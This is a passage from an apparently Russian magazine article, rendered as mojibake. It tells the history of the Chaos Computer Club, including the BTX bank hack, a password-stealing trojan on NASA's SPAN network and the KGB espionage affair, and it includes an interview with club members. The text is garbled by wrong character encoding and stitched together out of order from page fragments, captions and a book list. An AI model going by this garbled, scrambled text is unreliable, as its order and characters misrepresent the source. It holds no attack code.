êðèïòîãðàôîâ.
2 Ñåðãåé Áàðè÷åâ, «Êðèïòîãðàôèÿ áåç ñåêðåòîâ». Õîðî-
øèé ó÷åáíèê îò ðóññêîãî àâòîðà.
3 Î.Í.Âàñèëåíêî, «Òåîðåòèêî-÷èñëîâûå àëãîðèòìû â
êðèïòîãðàôèè». Ïðî÷èòàé ýòó êíèæêó, êîãäà áîëåå-ìåíåå
îñâîèøüñÿ â ìèðå øèôðîâàíèÿ.
4 Î. Â. Êàçàðèí, «Áåçîïàñíîñòü ïðîãðàììíîãî îáåñïå÷å-
íèÿ êîìïüþòåðíûõ ñèñòåì». Ðàññìîòðåíû âñå àñïåêòû ñî-
âðåìåííîé êðèïòîëîãèè.
5 À. Þ. Çóáîâ, «Ñîâåðøåííûå øèôðû». Óçíàé, ÷òî òàêîå
àëãîðèòì, êîòîðûé íåëüçÿ âçëîìàòü. 
6 Íèë Ñòèâåíñåí, «Êðèïòîíàìèêîí». Ýòî íå ó÷åáíèê, ýòî
ïðîñòî êëàññíûé ðîìàí â æàíðå êèáåðïàíê. Íî ÷èòàòü âñå
ðàâíî ðåêîìåíäóþ!Ôèë Çèììåðìàí � ñîçäàòåëü PGP

áèáëèÿ êðèïòîãðàôîâ

î êðèïòîãðàôèè â ñâîáîäíîé ýíöèêëîïåäèè

ëîãîòèï êîìïàíèè RSA Security

ýìáëåìà Àãåíòñòâà íàöèîíàëüíîé
áåçîïàñíîñòè





[Âó Õîëëàíä] Â 1981 ã. õàêåðñòâî òîëüêî íà÷è-
íàëî çàðîæäàòüñÿ â Ãåðìàíèè. Íà ïðèëàâêàõ ïî-
ÿâèëèñü ïåðâûå ïåðñîíàëüíûå êîìïüþòåðû, è
íåìåöêèå ïîäðîñòêè ñ ãîëîâîé îêóíóëèñü â ìèð
ïðîãðàììèðîâàíèÿ è êîìïüþòåðíûõ ñåòåé. Âó
Õîëëàíäà (íàñòîÿùåå èìÿ � Õüþàðò Õîëëàíä-
Ìîðèö) âðÿä ëè ìîæíî áûëî îòíåñòè ê ïîäðî-
ñòêàì. 32-ëåòíèé øóìíûé äÿäåíüêà, ëþáÿùèé
øóòèòü è ðàññêàçûâàòü èñòîðèè, � îí íå áûë õà-
êåðîì â òîì ñìûñëå, êîòîðûì ñ÷èòàë ñåáÿ Ìèò-
íèê. Íî áûë íå ïîíàñëûøêå çíàêîì ñ õàêåðñêîé
ýòèêîé è ÿâëÿëñÿ åå ðüÿíûì ïðèâåðæåíöåì.
12 ñåíòÿáðÿ 1981 ã. Âó âìåñòå ñî 22-ëåòíèì ñòó-
äåíòîì Ñòåôåíîì Âåðíåðè îñíîâàë êîìïüþòåð-
íûé êëóá «Õàîñ». Îí äîëæåí áûë ñòàòü ñâîåîá-
ðàçíûì îòâåòîì áþðîêðàòèè è ïîñÿãàòåëüñòâó íà

ØÏÈÎÍÑÊÀß ÈÑÒÎÐÈß, Â ÊÎ-
ÒÎÐÓÞ ÁÛËÈ ÂÎÂËÅ×ÅÍÛ ÕÀ-
ÊÅÐÛ ÈÇ ÊËÓÁÀ «ÕÀÎÑ», Â ÍÀ-
×ÀËÅ 90-Õ ÎÁÎØËÀ ÂÅÑÜ ÌÈÐ. ÅÅ
ÃÅÐÎÈ ÍÅÂÎËÜÍÎ ÏÐÈÂËÅÊËÈ ÂÑÅ-
ÎÁÙÅÅ ÂÍÈÌÀÍÈÅ Ê ÑÒÀÐÅÉØÅÌÓ
ÕÀÊÅÐÑÊÎÌÓ ÊËÓÁÓ ÅÂÐÎÏÛ, È ÌÍÎ-
ÃÈÌ ÒÎÃÄÀ ÕÎÒÅËÎÑÜ ÇÍÀÒÜ, ÍÀ ×ÒÎ
ÅÙÅ ÑÏÎÑÎÁÍÛ «ÂÇËÎÌÙÈÊÈ ÕÀÎÑÀ».
ÏÐÎØËÎ ÓÆÅ 15 ËÅÒ, ÍÎ ÍÀÄ ÊËÓÁÎÌ ÏÎ-
ÏÐÅÆÍÅÌÓ ÂÈÑÈÒ ÎÐÅÎË ÒÀÈÍÑÒÂÅÍÍÎ-
ÑÒÈ È ÌÎÃÓÙÅÑÒÂÀ�  | mindw0rk (mindw0rk@gameland.ru)
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çâîíîê â BTX îáõîäèëñÿ áàíêó â
6$, ê óòðó ñ÷åò ñîñòàâëÿë óæå áî-
ëåå 80 òûñÿ÷ äîëëàðîâ. Îá ýòîì
ýêñïåðèìåíòå Âó îáúÿâèë ïó-
áëè÷íî, à ïîñêîëüêó ó ïàðíåé áû-
ëè äîêàçàòåëüñòâà íåïðè÷àñòíî-
ñòè áàíêà, äåíüãè òîìó âåðíóëè
íà ãëàçàõ ó ïðåññû. Ïîñëå ýòîãî
ñëó÷àÿ íåìöû óáåäèëèñü, íàñ-
êîëüêî ìîãóò áûòü óÿçâèìûìè
êîìïüþòåðíûå ñèñòåìû, è êàêóþ
âëàñòü ìîãóò èìåòü òåõíè÷åñêè
ïîäêîâàííûå ïîäðîñòêè. Èñòîðèÿ
ñ áàíêîì ïåðåäàâàëàñü èç óñò â
óñòà, ñëîâî «Õàîñ» äîëãîå âðåìÿ

àññîöèèðîâàëîñü ó âñåõ ñ íåìåöêèìè õàêåðàìè. Áëàãîäàðÿ ïîëó÷åí-
íîé èçâåñòíîñòè, êëóá ïðèîáðåë ìíîãèõ íîâûõ ìåìáåðîâ.

[øïèîíñêèå ñòðàñòè] Íà ïðîòÿæåíèå 80-õ ãã. êëóá ïîñòîÿííî ðàñøè-
ðÿëñÿ. Îí áûë î÷åíü èçâåñòåí íà åâðîïåéñêîé õàêñöåíå, à òàê êàê Âó ñ óäî-
âîëüñòâèåì ïðîâîäèë ïðåññ-êîíôåðåíöèè è ðàññêàçûâàë æóðíàëèñòàì î
ñâîåì óâëå÷åíèè, ïîïóëÿðíîñòü «Õàîñà» íå óãàñàëà. Ïðàâäà, ïîäîáíûõ õà-
êó BTX âûõîäîê íåêîòîðîå âðåìÿ íå áûëî, � ìåìáåðû çàíèìàëèñü ñâîè-
ìè äåëàìè è íå âñåãäà ðàññêàçûâàëè îñòàëüíûì î ïðîâåäåííûõ âçëîìàõ.

÷àñòíóþ æèçíü. Äàæå íàçâàíèå êëóáà áûëî âûáðàíî òàêèì, ÷òîáû ýòî çâó÷à-
ëî âûçûâàþùå. Ïåðâîå âðåìÿ ìåìáåðàìè êëóáà áûëè çíàêîìûå è äðóçüÿ
Âó, íîâûå ëþäè ñòàëè ïðèõîäèòü ïîñëå òîãî, êàê Õàîñ ñòàë èçâåñòíûì.
Â 1983 ã. Âó Õîëëàíä íàïèñàë ñåðèþ ñòàòåé â áåðëèíñêóþ ãàçåòó «Òà-
ãåñöàéòóíã», âûñòóïàÿ ïðîòèâ ïåðåïèñè íàñåëåíèÿ (Âó ñ÷èòàë ýòî ïî-
ñÿãàòåëüñòâîì íà ïðèâàòíîñòü ãðàæäàí) è êîìïüþòåðíûõ áàç äàííûõ î
æèòåëÿõ Ãåðìàíèè. Ìíîãèå ñ÷èòàëè, ÷òî òàêîå ïîâåäåíèå íå ñîîòâåò-
ñòâîâàëî õàêåðñêîìó êîäåêñó. Ìîë, èíôîðìàöèÿ äîëæíà áûòü äîñòóï-
íîé. Íî Âó ïðèäåðæèâàëñÿ ìíåíèÿ, ÷òî äîñòóïíîé îíà äîëæíà áûòü
òîëüêî äëÿ ÷àñòíûõ ëèö, â òî âðåìÿ êàê ïðàâèòåëüñòâî è êðóïíûå îðãà-
íèçàöèè íå äîëæíû âìåøèâàòüñÿ â ëè÷íóþ æèçíü. È òå êîíòîðû, êîòî-
ðûå, ïî ìíåíèþ Õîëëàíäà, íàðóøàëè ýòî ïðàâèëî, îí íàêàçûâàë âçëî-
ìîì èõ êîìïüþòåðíûõ ñèñòåì. Õàêåðñòâî ñòàëî äëÿ íåãî îðóæèåì äëÿ
áîðüáû ñ «òåìíûìè ñèëàìè». Êîíå÷íî, Âó íå ñ÷èòàë, ÷òî çàíèìàåòñÿ
÷åì-òî ïðîòèâîçàêîííûì. «ß ïðîíèêàþ â èõ ñèñòåìû, ÷òîáû ïîêàçàòü,
íàñêîëüêî îíè óÿçâèìû», � ãîâîðèë îñíîâàòåëü êëóáà «Õàîñ». Ìàëî
òîãî, çàíèìàÿñü ïîñòîÿííûì âçëîìîì, ìåìáåðû êëóáà ïðèçûâàëè
îñòàëüíûõ ê ñîáëþäåíèþ çàêîíîâ.
Â 1984 ã. î êëóáå âïåðâûå çàãîâîðèëè. Ïðîèçîøëî ýòî ïîñëå òîãî, êàê
Âó Õîëëàíä è Ñòåôåí Âåðíåðè âçëîìàëè ýëåêòðîííóþ èíôîðìàöèîí-
íóþ ñèñòåìó BTX. BTX áûë ãðàíäèîçíûì êîììåð÷åñêèì ïðîåêòîì, â
êîòîðûé íåìåöêîå ïðàâèòåëüñòâî âáóõàëî 450 ìèëëèîíîâ äîëëàðîâ.
Â íà÷àëå 80-õ ïåðñïåêòèâà òîãî, ÷òî â êàæäîì äîìå áóäåò ñòîÿòü òåð-
ìèíàë, ïîäêëþ÷åííûé ê îãðîìíîé áàçå äàííûõ, è ÷åðåç êîòîðûé ìîæ-
íî ïîëó÷èòü ëþáóþ èíôîðìàöèþ (îò ðàñïèñàíèÿ ïîåçäîâ äî ïîãîäû íà
çàâòðà), áûëà ôàíòàñòè÷åñêîé. Ïðåññà ïðåäðåêàëà, ÷òî ê 1985 ã. â
ÔÐÃ áóäåò áîëåå ìèëëèîíà àáîíåíòîâ, íî ìå÷òû îñòàëèñü ìå÷òàìè �
óñëóãè îêàçàëèñü ñëèøêîì äîðîãèìè äëÿ ïðîñòîãî æèòåëÿ Ãåðìàíèè,
ê òîìó æå äëÿ ìíîãèõ ïîäîáíàÿ ñèñòåìà ÿâëÿëàñü ÷åì-òî äàëåêèì è
íåïîíÿòíûì. Âó è Ñòåôåí áûëè óâåðåíû, ÷òî BTX äàëåêî íå òàê õîðî-
øî çàùèùåíà, êàê çàÿâèëè àâòîðû. Âîñïîëüçîâàâøèñü ðàçäîáûòûì
ïàðîëåì îò àêêàóíòà êðóïíîãî ãàìáóðãñêîãî áàíêà, õàêåðû çàïðî-
ãðàììèðîâàëè ïîñòîÿííûé çàïðîñ èíôîðìàöèè. È, òàê êàê êàæäûé

Âó Õîëëàíä

Âó Õîëëàíä â êðóãó ìåìáåðîâ  «Õàîñ»

Êàðë Êîõ, ìåìáåð Õàîñà, ïîãèá-
øèé ïðè íåâûÿñíåííûõ îáñòîÿ-
òåëüñòâàõ
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ÝÊÑÊËÞÇÈÂÍÎÅ ÈÈÍÒÅÐÂÜÞ 
mindw0rk: ÅÅñòü ëëè óó êêëóáà ññâîÿ øøòàá-êêâàðòèðà, ííàñêîëüêî
îôèöèàëüíà ââàøà îîðãàíèçàöèÿ?
Ìåìáåðû ((Ôðýíê ÐÐîçåíãàðò èè ÝÝííî ËËýíçå): Òàê êàê
êëóá «Õàîñ» çàðåãèñòðèðîâàí îôèöèàëüíî, ó íåãî
åñòü ñâîé ïî÷òîâûé ÿùèê, êîòîðûé íàõîäèòñÿ â Ãàì-
áóðãå. Òàêæå ñóùåñòâóåò íåñêîëüêî ïîìåùåíèé â Áåð-
ëèíå, Äþññåëüäîðôå, Áîõóìå, Äîðòìóíäå, Äðåçäåíå è
äðóãèõ ãîðîäàõ � â íèõ ïðîâîäÿòñÿ âñòðå÷è ìåìáåðîâ
è ðàçëè÷íûå ýâåíòû. Êàê ïðàâèëî, ýòè êîìíàòû ðàñïî-
ëîæåíû â ñòàðûõ ïðîìûøëåííûõ ðàéîíàõ è äîìèêàõ,
ãäå ìîæíî óâèäåòü êó÷ó êîìïüþòåðíîé òåõíèêè, ïðî-
âîäîâ, IT æóðíàëîâ.
mindw0rk: ÊÊàê ííîâûå ëëþäè ïïðèõîäÿò ââ êêëóá? ÏÏðåäúÿâëÿåòå
ëè ââû îîïðåäåëåííûå òòðåáîâàíèÿ êê ííîâè÷êàì?
Ì: Ïðèñîåäèíèòüñÿ ê íàì ìîæåò ëþáîé æåëàþùèé � ìû
íå êàêàÿ-íèáóäü kool hax0r l33t crew, ìû � êëóá :). Äî-
ñòàòî÷íî ïîëó÷èòü ïðèãëàøåíèå îò äåéñòâóþùåãî ìåì-
áåðà èëè ïðîñòî âûðàçèòü ãîðÿ÷åå æåëàíèå âñòóïèòü,
ñâÿçàâøèñü ñ íàøèìè ïðåäñòàâèòåëÿìè. Êàæäóþ íåäåëþ
ïðîõîäèò îçíàêîìèòåëüíûé ýâåíò, ãäå íîâè÷êè ìîãóò
ïîçíàêîìèòüñÿ ñ íàøèìè çàäà÷àìè è ó÷àñòíèêàìè êëóáà,
ðàññêàçàòü î ñåáå. Î êëóáå òàêæå ìîæíî óçíàòü èç íàøå-

ãî åæåìåñÿ÷íîãî ðàäèî-øîó áåðëèíñêîé ðàäèîñòàíöèè
Radio Fritz. Êñòàòè, äëÿ òîãî, ÷òîáû ó÷àñòâîâàòü â êëóá-
íûõ ýâåíòàõ, íå îáÿçàòåëüíî áûòü îôèöèàëüíûì ìåìáå-
ðîì � ìû îòêðûâàåì äâåðè äëÿ âñåõ. Â êëóáå ñóùåñòâó-
åò åæåìåñÿ÷íûé ÷ëåíñêèé âçíîñ � 6 åâðî â ìåñÿö, ýòè
äåíüãè èäóò â îñíîâíîì íà ïðîâåäåíèå èíòåðåñíûõ ëåê-
öèé è ïîêóïêó äåâàéñîâ, òèïà Fingerprint-ñåíñîðîâ èëè
RFID-ðèäåðîâ. Ó ìåìáåðîâ åñòü êîå-êàêèå ïðèâèëåãèè.
Îíè ïîëó÷àþò ðàññûëêîé êëóáíûé ïå÷àòíûé æóðíàë Da-
tenschleuder (ïðèáëèçèòåëüíî ïåðåâîäèòñÿ êàê «âûáðîñ
èíôîðìàöèè»), âûõîäÿùèé 4 ðàçà â ãîäó, èìåþò ñêèäêè
íà ó÷àñòèå â êëóáíûõ ýâåíòàõ.
mindw0rk: ÍÍàñêîëüêî ññèëåí óóðîâåíü ççíàíèé ììåìáåðîâ 
êëóáà ««Õàîñ»?
Ì: Óðîâåíü î÷åíü ðàçíûé. Íåêîòîðûå èñïûòûâàþò ïðî-
áëåìû ñ ïîäêëþ÷åíèåì ìûøêè, äðóãèå � ïèøóò îïåðà-
öèîííûå ñèñòåìû. Êîìïüþòåðíàÿ áåçîïàñíîñòü � ëèøü
íåáîëüøàÿ ÷àñòü íàøåé äåÿòåëüíîñòè. Ìû ó÷àñòâóåì â
ðàçíûõ êóëüòóðíûõ (ñêîðåå ãèêîâûõ) ìåðîïðèÿòèÿõ, áî-
ðåìñÿ çà ïðàâà ÷åëîâåêà, îñîáåííî ïðàâî íà ëè÷íóþ
æèçíü. ×òî êàñàåòñÿ áåçîïàñíîñòè� ó êëóáà ìíîãî õîðî-
øèõ äðóçåé, ÿâëÿþùèõñÿ ýêñïåðòàìè â êîìïüþòåðàõ, êî-
òîðûå ñ óäîâîëüñòâèåì ïîìîãàþò â íàøèõ ïðîåêòàõ.



äàííûå õàêåðàìè, ëå-
æàëè â ñâîáîäíîì äî-
ñòóïå è, ïî ñóòè, íè÷å-
ãî íå ñòîèëè. Òåì íå
ìåíåå, ñàì ôàêò ñî-
òðóäíè÷åñòâà ñ ðóñ-
ñêèìè ÿâëÿëñÿ òÿæå-
ëûì ïðåñòóïëåíèåì,
è ê êîíöó 80-õ ó÷àñò-
íèêè «Ýêâàëàéçåðà»
ñòàëè çàäóìûâàòüñÿ î
ïîñëåäñòâèÿõ.
Â êîíöå êîíöîâ, Êàðë
Êîõ è Ïåíãî, ïî ñîâå-
òó àäâîêàòîâ, ÿâè-
ëèñü â îðãàíû ñ äîá-

ðîâîëüíûì ïðèçíàíèåì. Äëÿ Êîõà ýòî çàêîí-
÷èëîñü ïå÷àëüíî � íåçàäîëãî äî ñóäà (â ÿí-
âàðå 1990 ã.) åãî íàøëè ñîææåííûì â ëåñó,
ñëåäñòâèþ òàê è íå óäàëîñü óçíàòü îáñòîÿ-
òåëüñòâà ñìåðòè. Ïåíãî ñâèäåòåëüñòâîâàë
ïðîòèâ òîâàðèùåé â ñóäå è áûë åäèíñòâåí-
íûì, êòî âûáðàëñÿ ñóõèì èç âîäû.

[êëóá Õàîñà ñåãîäíÿ] Îôèöèàëüíûé FAQ
íà ñàéòå http://ccc.de íàçûâàåò êîìïüþòåðíûé
êëóá «Õàîñ» ãàëàêòè÷åñêèì ñîîáùåñòâîì ëþ-
äåé âñåõ âîçðàñòîâ, ïîëîâ, ðàñ è ñîöèàëüíûõ
ïîëîæåíèé. Öåëè è çàäà÷è êëóáà ñî âðåìåíåì
íåìíîãî èçìåíèëèñü. Åñëè ðàíüøå îí áîëüøå
èìåë ïîëèòè÷åñêóþ íàïðàâëåííîñòü, òåïåðü â
îñíîâå ëåæèò èçó÷åíèå è îáó÷åíèå ìàññ êîì-
ïüþòåðíîé áåçîïàñíîñòè, ñïîñîáàì óáåðå÷ü
ñâîþ ëè÷íóþ æèçíü îò ïîñòîðîííèõ ãëàç, ñîç-
äàíèå ïëàòôîðìû äëÿ ñâîáîäíîãî îáùåíèÿ

èëè îáìåíà èíôîðìàöèåé. Õàîñ íå ÿâëÿåòñÿ ÷èñòî õàêåðñêîé îðãàíè-
çàöèåé, íî áîëüøàÿ ÷àñòü ìåìáåðîâ òåõíè÷åñêè õîðîøî ïîäêîâàíà.
Íåêîòîðûå èç íèõ ïóáëèêóþò ðåçóëüòàòû ñâîèõ security-èññëåäîâàíèé
â Ñåòè, ïðîâîäÿò âñòðå÷è è ýâåíòû, ñîâìåñòíî ó÷àñòâóþò â êðóïíûõ
ïðîåêòàõ. Íà äàííûé ìîìåíò â êëóáå áîëåå 1500 ÷åëîâåê.
Â èíòåðíåòå íå òàê ìíîãî èíôîðìàöèè î âíóòðåííåé æèçíè Õàîñà, à òà,
÷òî åñòü, � â îñíîâíîì íà íåìåöêîì ÿçûêå. Ïîýòîìó ÿ ñâÿçàëñÿ ñ ïàðîé
àêòèâíûõ ìåìáåðîâ è ïîïðîñèë èõ ðàññêàçàòü î ñòàðåéøåì õàê-êëóáå.

[êîíôåðåíöèÿ Õàîñà] Îñíîâíûì ýâåíòîì êëóáà ÿâëÿåòñÿ åæåãîäíàÿ
Êîíôåðåíöèÿ Õàîñà (Chaos Communication Congress). Ýòî ìåðîïðèÿòèå ñòàðòî-
âàëî â äàëåêîì 1984 ã., ïðîâîäèëîñü ñíà÷àëà â Ãàìáóðãå, à ñ 1988 ã. � â Áåð-
ëèíå. Ïîñëåäíèå ïàðó ëåò CCC îòêðûâàåò äâåðè ñ 27 ïî 29 äåêàáðÿ, è,
ïîõîæå, îðãàíèçàòîðû ñîáèðàþòñÿ ñäåëàòü ýòó äàòó ïîñòîÿííîé.
Âó Õîëëàíä î÷åíü îòâåòñòâåííî ïîäîøåë ê îðãàíèçàöèè ïåðâûõ êîí-

Ëåòîì 1987 ã. ìåìáåðû Õàîñà ðåøèëè óçíàòü, ñêîëüêî
êîìïîâ ðåàëüíî õàêíóòü â ñåòè SPAN àýðîêîñìè÷åñêîãî
àãåíòñòâà NASA. Äëÿ ýòîãî áûë íàïèñàí ñïåöèàëüíûé
òðîÿí ïîä ÎÑ VMS, êîòîðûé óäàëîñü âíåäðèòü â èñõîä-
íèê íîâîé âåðñèè 4.5. Ïðîãðàììêà ñîáèðàëà ïàðîëè
âñåõ êîìïüþòåðîâ, îáðàùàâøèõñÿ ê ñåòè è, ïîñêîëüêó
òàêèõ áûëî íå òàê óæ è ìíîãî, ó õàêåðîâ â ðóêàõ âñêîðå
îêàçàëñÿ êëþ÷ ê SPAN.
Î âçëîìå ñòàëî èçâåñòíî, âîêðóã Õàîñà ñíîâà ðàçðàçèëàñü øó-
ìèõà. Íî õàêåðû íè÷åãî â ñåòè íå ìåíÿëè, íå óäàëÿëè, äà è âîîá-
ùå ïðîáûëè òàì íåäîëãî, òàê ÷òî òÿæåëûõ ïîñëåäñòâèé íå áûëî.
Íî ñàìûì íàøóìåâøèì ýïèçîäîì â èñòîðèè êëóáà áûëà
øïèîíñêàÿ çàâàðóøêà âîêðóã ìåìáåðîâ êëóáà: Ïèòåðà Êàðëà, Ìàðêóñà
Õåññà, Êàðëà Êîõà, Ïåíãî è Äîáà. Ïðîåêò, êîòîðûé ñïëîòèë ýòèõ ðåáÿò,
íîñèë íàçâàíèå «Ýêâàëàéçåð». Õàêåðû ïîïðîñòó ðåøèëè çàðàáîòàòü
áûñòðûå äåíüãè íà ñâîèõ óìåíèÿõ. Â êà÷åñòâå òîâàðà âûñòóïàëà óêðà-
äåííàÿ èíôîðìàöèÿ î íîâåéøèõ äîñòèæåíèÿõ è ðàçðàáîòêàõ åâðîïåé-
öåâ, â êà÷åñòâå ïîêóïàòåëÿ � ÊÃÁ. Êàæäûé èç ó÷àñòíèêîâ ïðîåêòà
èìåë çíàíèÿ â êàêîé-íèáóäü îáëàñòè. Êàðë óìåë óáåæäàòü ëþäåé, Õåññ
ñïåöèàëèçèðîâàëñÿ íà ñèñòåìàõ UNIX, Äîá ëîìàë ìåéíôðåéìû Sie-
mens, Ïåíãî è Êîõ ìîãëè ïðîíèêíóòü â ëþáóþ ñèñòåìó è íåïëîõî ïðî-
ãðàììèðîâàëè. Ñîòðóäíè÷åñòâî ñ ðóññêîé ðàçâåäêîé äëèëîñü íåäîëãî.
Õàêåðàì õîòåëîñü áîëüøå äåíåã, à ÊÃÁ � áîëåå ñåêðåòíîé èíôîðìà-
öèè, îáå ñòîðîíû íèêàê íå ìîãëè íàéòè êîìïðîìèññ ìåæäó âàæíîñòüþ
èíôû è åå ñòîèìîñòüþ. Âïðî÷åì, àãåíò ÊÃÁ ïî èìåíè Ñåðãåé, ÷åðåç êî-
òîðîãî áûëà íàëàæåíà ñâÿçü, óñïåë ïåðåäàòü íåìåöêèì õàêåðàì îêîëî
45 òûñÿ÷ äîëëàðîâ. Íî êàê îêàçàëîñü ïîçæå, ìíîãèå äîêóìåíòû, ïðî-

êëóáíûé æóðíàë Datenschleuder

CCC íà ñòåíå Haus des Lehrers

ñâåòîâîå øîó â ÷åñòü äâàäöàòèëåòèÿ

mindw0rk: ÊÊàê ááû òòû îîïèñàë èèíôðàñòðóêòóðó êêëóáà? ÑÑóùå-
ñòâóþò ëëè îîáÿçàííîñòè óó îîôèöèàëüíûõ óó÷àñòíèêîâ? ÊÊàêèì
îáðàçîì ââàøè ððåáÿòà îîáùàþòñÿ ììåæäó ññîáîé?
Ì: Õàîñ ñàì ïî ñåáå íå ïðåäñòàâëÿåò èíôðàñòðóêòóðó. Îíà
äàåò ôóíäàìåíò äëÿ åå ñòðîèòåëüñòâà ó÷àñòíèêàìè êëóáà.
Îáû÷íî ïðîèñõîäèò âñå òàê � îäèí èç ìåìáåðîâ íà÷èíàåò
âåñòè, ê ïðèìåðó, ìåéëëèñò. Ðàññûëêà îêàçûâàåòñÿ èíòå-
ðåñíà äðóãèì, è ëþäè ïðèíèìàþò ó÷àñòèå â åå ïîääåðæêå.
Êëóá «Õàîñ» ìàêñèìàëüíî äåöåíòðàëèçîâàí � êàæäûé çà-
íèìàåòñÿ ñâîèìè äåëàìè, íî â èòîãå ïîëó÷àåòñÿ áîëüøîå
è èíòåðåñíîå êîìüþíèòè. Â ðàìêàõ êëóáà ñóùåñòâóþò òàê
íàçûâàåìûå Erfas � ðåãèîíàëüíûå òóñîâêè ÷ëåíîâ, îðãà-
íèçîâàííûå äëÿ ïðîâåäåíèÿ ðèàëàéôîâûõ âñòðå÷ è îáìå-
íà îïûòîì. Âñåãî èõ 8. Îðãàíèçàöèåé êðóïíûõ êëóáíûõ
ýâåíòîâ çàíèìàåòñÿ êðóã ëèö èçâåñòíûé êàê Umbrella.
Âñå ýòî âìåñòå îáåñïå÷èâàåò äðóæåñêóþ àòìîñôåðó è ïîä-
òàëêèâàåò ê íà÷èíàíèþ èíòåðåñíûõ ïðîåêòîâ. Ñàáî ñîáîé,
âñå ýòè ïðîåêòû ëåãàëüíû.
mindw0rk: ßß ññëûøàë êêëóá ÕÕàîñà ïïîääåðæèâàåò ïïðèíöèïû
õàêåðñêîé ýýòèêè. ××òî ýýòî ççà ïïðèíöèïû?
M: � Äîñòóï ê êîìïüþòåðàì, è êî âñåìó, ÷òî ìîæåò ïî-
ìî÷ü òåáå ïîíÿòü, êàê ðàáîòàåò ìèð âîêðóã, äîëæåí áûòü
ñâîáîäíûì è íåîãðàíè÷åííûì.
� Ëþáàÿ èíôîðìàöèÿ äîëæíà áûòü áåñïëàòíîé.

� Íå ïîîùðÿé áþðîêðàòèþ, ïðîäâèãàé äåöåíòðàëèçàöèþ.
� Õàêåðîâ äîëæíû ñóäèòü ïî èõ çíàíèÿì è ïîñòóïêàì, à
íå òàêèì íàäóìàííûì êðèòåðèÿì, êàê îáðàçîâàíèå, âîç-
ðàñò, ðàñà è ïîëîæåíèå â îáùåñòâå.
� Ñ ïîìîùüþ êîìïüþòåðà ìîæíî ñîçäàâàòü èñêóññòâî è
êðàñîòó.
� Êîìïüþòåðû ìîãóò èçìåíèòü òâîþ æèçíü ê ëó÷øåìó.
� Íå çàñîðÿé ÷óæèå èíôîðìàöèîííûå èñòî÷íèêè.
� Äåëàé èíôîðìàöèþ äîñòóïíîé, çàùèùàé ñâîè ïðèâàò-
íûå äàííûå îò áþðîêðàòîâ.
mindw0rk: ÏÏîääåðæèâàåò ëëè êêëóá ««Õàîñ» êêîíòàêòû ññ ääðóãè-
ìè õõàêåðñêèìè îîðãàíèçàöèÿìè?
Ì: Êîíå÷íî. Ïðîøëûì ëåòîì, íàïðèìåð, ìû òóñîâàëèñü íà
ïðèðîäå ñ íàøèìè äðóçüÿìè èç Äàíèè. Òå èç íàñ, êòî
ñåðüåçíî çàíèìàåòñÿ èçó÷åíèåì êîìïüþòåðíîé áåçîïàñíî-
ñòè, èìåþò ìíîæåñòâî çíàêîìûõ â ìåæäóíàðîäíîì security
êîìüþíèòè. ×òî êàñàåòñÿ êëóáà â öåëîì � Õàîñ âõîäèò â
ñîñòàâ êðóïíîé îðãàíèçàöèè ïî çàùèòå ýëåêòðîííûõ ïðàâ
EDRI (European Digital Rights), ïî÷èòàòü î êîòîðîé ìîæíî
íà www.edri.org.
mindw0rk: ÊÊàêèå ááûëè ííàèáîëåå èèçâåñòíûå õõàêè ììåìáåðîâ ÕÕàîñà.
Ì: Õìì� èç ñàìûõ íàøóìåâøèõ: çàâàðóøêà ñ ÊÃÁ, êëî-
íèðîâàíèå GSM-êàðòû, ñîçäàíèå «íîâûõ» îòïå÷àòêîâ
ïàëüöåâ è ò.ä.[X
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ôåðåíöèé. Áûëî âûáðàíî ïðî-
ñòîðíîå ïîìåùåíèå, ïðèãîòîâëå-
íû ìàòðàñû äëÿ óñòàâøèõ õàêå-
ðîâ, áûëè äàæå óñòàíîâëåíû ìå-
òàëëîäåòåêòîðû è ïîñòàâëåíà îõ-
ðàíà, ÷òîáû âëàñòè íå ñìîãëè
ïðåðâàòü ìåðîïðèÿòèå.
Â ñåðåäèíå 80-õ õàêåðñêèå òóñîâ-
êè áûëè áîëüøîé ðåäêîñòüþ. Äëÿ
ïðåññû Êîíôåðåíöèÿ Õàîñà ñòàëà
ïèùåé äëÿ ñåíñàöèîííûõ ðåïîð-
òàæåé, ïîýòîìó íà âòîðîé êëóá-

íûé ýâåíò ñúåõàëèñü æóðíàëèñòû, òåëåâèçèîíùèêè, êèíîøíèêè è ñî-
öèîëîãè ñî âñåõ êîíöîâ Ãåðìàíèè. Èõ áûëî ÷óòü ëè íå áîëüøå, ÷åì ñà-
ìèõ õàêåðîâ. Ìåìáåðû êëóáà è ïðèãëàøåííûå ãîñòè äîáðîâîëüíî ÷è-
òàëè ëåêöèè, äåëèëèñü íåêîòîðûìè ñâîèìè òðþêàìè ïî îáõîäó çàùè-
òû ñèñòåì, ñîðåâíîâàëèñü â ðåàëòàéìîâîì õàêèíãå. Íàïðèìåð, â òîò
äåíü õàêåðàì óäàëîñü ïðîíèêíóòü íà êîìïüþòåð ïîëèöèè Îòòàâû.
Êîíôåðåíöèÿ Õàîñà ðîñëà ñ ðàçâèòèåì ñàìîãî êëóáà. Ñ êàæäûì ãî-
äîì åå ïîñåùàëî âñå áîëüøå ÷åëîâåê, òåïåðü ÷èñëî ïîñåòèòåëåé ñî-
ñòàâëÿåò îêîëî 3.5 òûñÿ÷. Â ñòðåìëåíèè óëó÷øèòü ýâåíò, Âó íèêîãäà
íå ãîíÿëñÿ çà «ïðîôåññèîíàëüíûìè» ïàòè, òèïà Äåôêîíà. Âìåñòî
ýòîãî îí ñòàðàëñÿ ñäåëàòü âñå, ÷òîáû óñëîâèÿ è àòìîñôåðà âíóòðè
ñòàëè åùå áîëåå äðóæåëþáíûìè.
Â ðàìêàõ êîíôåðåíöèè ïðîõîäÿò ðåàëëàéôîâûå âñòðå÷è äðóãèõ îðãà-
íèçàöèé è êëóáîâ. Íàïðèìåð, åæåãîäíî çäåñü âñòðå÷àþòñÿ àâòîðû èç-
âåñòíîé îíëàéíîâîé ýíöèêëîïåäèè Wikipedia, VJ êîìüþíèòè, ãðóïïû
îïåíñîðñíûõ ðàçðàáîò÷èêîâ, òèïà GIMP. Ñïåöèàëüíî ïðèãëàøåííûå

ãîñòè èç Èçðàèëÿ, ÑØÀ, Àâñòðà-
ëèè è äðóãèõ ñòðàí ÷èòàþò ëåêöèè
íà ñàìûå ðàçíûå òåìû, îò âçëîìà
mbedded-ñèñòåì äî ðàçâèòîñòè
ÑÌÈ â Èðàíå.
Ñàìûì îæèâëåííûì è èíòåðåñíûì
ìåñòîì íà CCC ÿâëÿåòñÿ «Õàê-
öåíòð» � îãðîìíîå ïîìåùåíèå,
ãäå ëþáîé æåëàþùèé ìîæåò ïîä-
